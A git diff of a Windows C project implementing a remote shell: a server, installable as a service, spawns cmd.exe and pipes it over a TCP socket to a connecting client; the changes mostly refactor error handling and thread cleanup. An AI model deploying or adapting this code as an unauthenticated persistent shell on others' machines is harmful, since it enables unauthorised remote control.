diff --git a/client.c b/client.c index 43882fd..3551fe6 100644 --- a/client.c +++ b/client.c @@ -17,7 +17,7 @@ VOID StartShellClient(TCHAR *ServerIP) { iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); if (iResult != 0) { printf("WSAStartup failed: %d\n", iResult); - return 1; + return; } // Create socket for client @@ -32,7 +32,7 @@ VOID StartShellClient(TCHAR *ServerIP) { if (iResult != 0) { printf("getaddrinfo failed: %d\n", iResult); WSACleanup(); - return 1; + return; } // Attempt to connect to the first address returned by the call to getaddrinfo @@ -46,7 +46,7 @@ VOID StartShellClient(TCHAR *ServerIP) { printf("Error at socket(): %ld\n", WSAGetLastError()); freeaddrinfo(result); WSACleanup(); - return 1; + return; } // Connect to a socket @@ -63,18 +63,25 @@ VOID StartShellClient(TCHAR *ServerIP) { if (ConnectSocket == INVALID_SOCKET) { printf("Unable to connect to server!\n"); WSACleanup(); - return 1; + return; } HANDLE threads[2]; threads[0] = CreateThread(NULL, 0, ClientWriteToPipe, NULL, 0, NULL); threads[1] = CreateThread(NULL, 0, ClientReadFromPipe, NULL, 0, NULL); + if (!(threads[0] && threads[1])) { + printf("Failed to create pipe threads\n"); + goto cleanup; + } + + WaitForMultipleObjects(2, threads, FALSE, INFINITE); - WaitForMultipleObjects(2, threads, TRUE, INFINITE); + for(int i = 0; i < 2; TerminateThread(threads[i++], 0)); for (int i = 0; i < 2; ++i) CloseHandle(threads[i]); +cleanup: // Finalize // shutdown the send half of the connection since no more data will be sent iResult = shutdown(ConnectSocket, SD_SEND); @@ -82,14 +89,14 @@ VOID StartShellClient(TCHAR *ServerIP) { printf("shutdown failed: %d\n", WSAGetLastError()); closesocket(ConnectSocket); WSACleanup(); - return 1; + return; } // cleanup closesocket(ConnectSocket); WSACleanup(); - return 0; + return; } DWORD WINAPI ClientWriteToPipe(LPDWORD dummy) { diff --git a/client.h b/client.h index d3b1107..41673ed 100644 --- a/client.h +++ b/client.h @@ -1,3 +1,5 @@ +#pragma once + #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif diff --git a/main.c b/main.c index 866a99a..4eed16b 100644 --- a/main.c +++ b/main.c @@ -37,9 +37,7 @@ int _tmain(int argc, TCHAR *argv[]) { StartShellClient(argv[2]); return 0; } - // TODO: implement service else if (lstrcmpi(argv[1], TEXT("-s")) == 0 && lstrcmpi(argv[2], TEXT("-service")) == 0) { - // CreateService SvcInstall(); return 0; } @@ -99,6 +97,10 @@ VOID SvcInit(DWORD dwArgc, LPTSTR* lpszArgv) { ReportSvcStatus(SERVICE_RUNNING, NO_ERROR, 0); ghExecuteService = CreateThread(NULL, 0, ServerThreadStart, NULL, 0, NULL); + if (ghExecuteService == NULL) { + ReportSvcStatus(SERVICE_STOPPED, GetLastError(), 0); + return; + } while (1) { // Check whether to stop the service. diff --git a/server.c b/server.c index d406ad8..44e8150 100644 --- a/server.c +++ b/server.c @@ -8,11 +8,10 @@ typedef struct PipeThreadInfo_t { SOCKET ClientSocket; } PipeThreadInfo; -void CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr); +HANDLE CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr); DWORD WINAPI WorkWithClient(LPVOID lpParam); DWORD WINAPI WriteToPipe(LPVOID lpParam); DWORD WINAPI ReadFromPipe(LPVOID lpParam); -void ErrorExit(PCTSTR); void StartShellServer() { printf("\n->Start of shell server execution.\n"); @@ -90,7 +89,7 @@ void StartShellServer() { ClientSocket = accept(ListenSocket, NULL, NULL); if (ClientSocket == INVALID_SOCKET) { printf("accept failed: %d\n", WSAGetLastError()); - break; + //break; } printf("Client connected\n"); // Create separate thread to process client connection @@ -100,7 +99,6 @@ void StartShellServer() { /* * Finalization */ - // TODO: properly close all handles closesocket(ListenSocket); WSACleanup(); } @@ -116,7 +114,7 @@ DWORD WINAPI WorkWithClient(LPVOID lpParam) { HANDLE g_hChildStd_OUT_Wr = NULL; SECURITY_ATTRIBUTES saAttr; - HANDLE PipeThreads[2]; + HANDLE PipeThreads[3]; SOCKET ClientSocket = (SOCKET)lpParam; @@ -129,38 +127,61 @@ DWORD WINAPI WorkWithClient(LPVOID lpParam) { saAttr.lpSecurityDescriptor = NULL; // Create a pipe for the child process's STDOUT. - if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) - ErrorExit(TEXT("StdoutRd CreatePipe")); + if (!CreatePipe(&g_hChildStd_OUT_Rd, &g_hChildStd_OUT_Wr, &saAttr, 0)) { + printf("StdoutRd CreatePipe\n"); + return 1; + } // Ensure the read handle to the pipe for STDOUT is not inherited. - if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) - ErrorExit(TEXT("Stdout SetHandleInformation")); + if (!SetHandleInformation(g_hChildStd_OUT_Rd, HANDLE_FLAG_INHERIT, 0)) { + printf("Stdout SetHandleInformation\n"); + return 1; + } // Create a pipe for the child process's STDIN. - if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) - ErrorExit(TEXT("Stdin CreatePipe")); + if (!CreatePipe(&g_hChildStd_IN_Rd, &g_hChildStd_IN_Wr, &saAttr, 0)) { + printf("Stdin CreatePipe\n"); + return 1; + } // Ensure the write handle to the pipe for STDIN is not inherited. - if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) - ErrorExit(TEXT("Stdin SetHandleInformation")); + if (!SetHandleInformation(g_hChildStd_IN_Wr, HANDLE_FLAG_INHERIT, 0)) { + printf("Stdin SetHandleInformation\n"); + return 1; + } /* * Create child process cmd.exe */ - CreateChildProcess(g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr); + PipeThreads[0] = CreateChildProcess(g_hChildStd_IN_Rd, g_hChildStd_OUT_Wr); + if (!PipeThreads[0]) { + printf("Failed to create child process\n"); + return 1; + } // Create threads for STDIN/STDOUT PipeThreadInfo WriteThreadInfo = { g_hChildStd_IN_Wr, ClientSocket }; PipeThreadInfo ReadThreadInfo = { g_hChildStd_OUT_Rd, ClientSocket }; - PipeThreads[0] = CreateThread(NULL, 0, WriteToPipe, &WriteThreadInfo, 0, NULL); - PipeThreads[1] = CreateThread(NULL, 0, ReadFromPipe, &ReadThreadInfo, 0, NULL); + PipeThreads[1] = CreateThread(NULL, 0, WriteToPipe, &WriteThreadInfo, 0, NULL); + PipeThreads[2] = CreateThread(NULL, 0, ReadFromPipe, &ReadThreadInfo, 0, NULL); + + if (!(PipeThreads[1] && PipeThreads[2])) { + printf("Failed to create pipe threads\n"); + return 1; + } + + WaitForMultipleObjects(3, PipeThreads, FALSE, INFINITE); - WaitForMultipleObjects(2, PipeThreads, TRUE, INFINITE); + for (int i = 1; i < 3; TerminateThread(PipeThreads[i++], 0)); + TerminateProcess(PipeThreads[0], 0); + for (int i = 0; i < 3; CloseHandle(PipeThreads[i++])); + + closesocket(ClientSocket); printf("\n->Client disconnected.\n"); } -void CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr) +HANDLE CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr) // Create a child process that uses the previously created pipes for STDIN and STDOUT. { TCHAR szCmdline[] = TEXT("C:\\Windows\\System32\\cmd.exe"); @@ -196,15 +217,17 @@ void CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr) &piProcInfo); // receives PROCESS_INFORMATION // If an error occurs, exit the application. - if (!bSuccess) - ErrorExit(TEXT("CreateProcess")); + if (!bSuccess) { + printf("CreateProcess\n"); + return 0; + } else { // Close handles to the child process and its primary thread. // Some applications might keep these handles to monitor the status // of the child process, for example. - CloseHandle(piProcInfo.hProcess); + //CloseHandle(piProcInfo.hProcess); CloseHandle(piProcInfo.hThread); // Close handles to the stdin and stdout pipes no longer needed by the child process. @@ -213,6 +236,7 @@ void CreateChildProcess(HANDLE g_hChildStd_IN_Rd, HANDLE g_hChildStd_OUT_Wr) CloseHandle(g_hChildStd_OUT_Wr); CloseHandle(g_hChildStd_IN_Rd); } + return piProcInfo.hProcess; } DWORD WINAPI WriteToPipe(LPVOID lpParam) @@ -239,22 +263,21 @@ DWORD WINAPI WriteToPipe(LPVOID lpParam) if (iResult > 0) { bSuccess = WriteFile(g_hChildStd_IN_Wr, recvbuf, iResult, &dwWritten, NULL); if (!bSuccess) break; - printf("Received command: %s\n"); } else if (iResult == 0) printf("Connection closing...\n"); else { printf("recv failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); - WSACleanup(); return 1; } } while (iResult > 0); WriteToPipe_end: - // Closing STDIN => cmd.exe exit - if (!CloseHandle(g_hChildStd_IN_Wr)) - ErrorExit(TEXT("StdInWr CloseHandle")); + if (!CloseHandle(g_hChildStd_IN_Wr)) { + printf("StdInWr CloseHandle\n"); + return 1; + } } DWORD WINAPI ReadFromPipe(LPVOID lpParam) @@ -263,7 +286,6 @@ DWORD WINAPI ReadFromPipe(LPVOID lpParam) CHAR chBuf[BUFSIZE + 1]; BOOL bSuccess = FALSE; - //HANDLE hParentStdOut = GetStdHandle(STD_OUTPUT_HANDLE); SOCKET ClientSocket = ((PipeThreadInfo*)lpParam)->ClientSocket; HANDLE g_hChildStd_OUT_Rd = ((PipeThreadInfo*)lpParam)->Pipe; @@ -274,49 +296,14 @@ DWORD WINAPI ReadFromPipe(LPVOID lpParam) { bSuccess = ReadFile(g_hChildStd_OUT_Rd, chBuf, BUFSIZE, &dwRead, NULL); if (!bSuccess || dwRead == 0) break; - printf("STDOUT: %s\n", chBuf); - chBuf[dwRead] = '\0'; iSendResult = send(ClientSocket, chBuf, dwRead, 0); if (iSendResult == SOCKET_ERROR) { printf("send failed: %d\n", WSAGetLastError()); closesocket(ClientSocket); - WSACleanup(); return 1; } if (!bSuccess) break; } -} - -void ErrorExit(PCTSTR lpszFunction) - -// Format a readable error message, display a message box, -// and exit from the application. -{ - LPVOID lpMsgBuf; - LPVOID lpDisplayBuf; - DWORD dw = GetLastError(); - - FormatMessage( - FORMAT_MESSAGE_ALLOCATE_BUFFER | - FORMAT_MESSAGE_FROM_SYSTEM | - FORMAT_MESSAGE_IGNORE_INSERTS, - NULL, - dw, - MAKELANGID(LANG_NEUTRAL, SUBLANG_DEFAULT), - (LPTSTR)&lpMsgBuf, - 0, NULL); - - lpDisplayBuf = (LPVOID)LocalAlloc(LMEM_ZEROINIT, - (lstrlen((LPCTSTR)lpMsgBuf) + lstrlen((LPCTSTR)lpszFunction) + 40) * sizeof(TCHAR)); - StringCchPrintf((LPTSTR)lpDisplayBuf, - LocalSize(lpDisplayBuf) / sizeof(TCHAR), - TEXT("%s failed with error %d: %s"), - lpszFunction, dw, lpMsgBuf); - MessageBox(NULL, (LPCTSTR)lpDisplayBuf, TEXT("Error"), MB_OK); - - LocalFree(lpMsgBuf); - LocalFree(lpDisplayBuf); - ExitProcess(1); } \ No newline at end of file diff --git a/server.h b/server.h index f1f32fc..03d3831 100644 --- a/server.h +++ b/server.h @@ -1,3 +1,5 @@ +#pragma once + #ifndef WIN32_LEAN_AND_MEAN #define WIN32_LEAN_AND_MEAN #endif diff --git a/service.h b/service.h index 728a212..5d55cee 100644 --- a/service.h +++ b/service.h @@ -1,3 +1,5 @@ +#pragma once + #include #include #include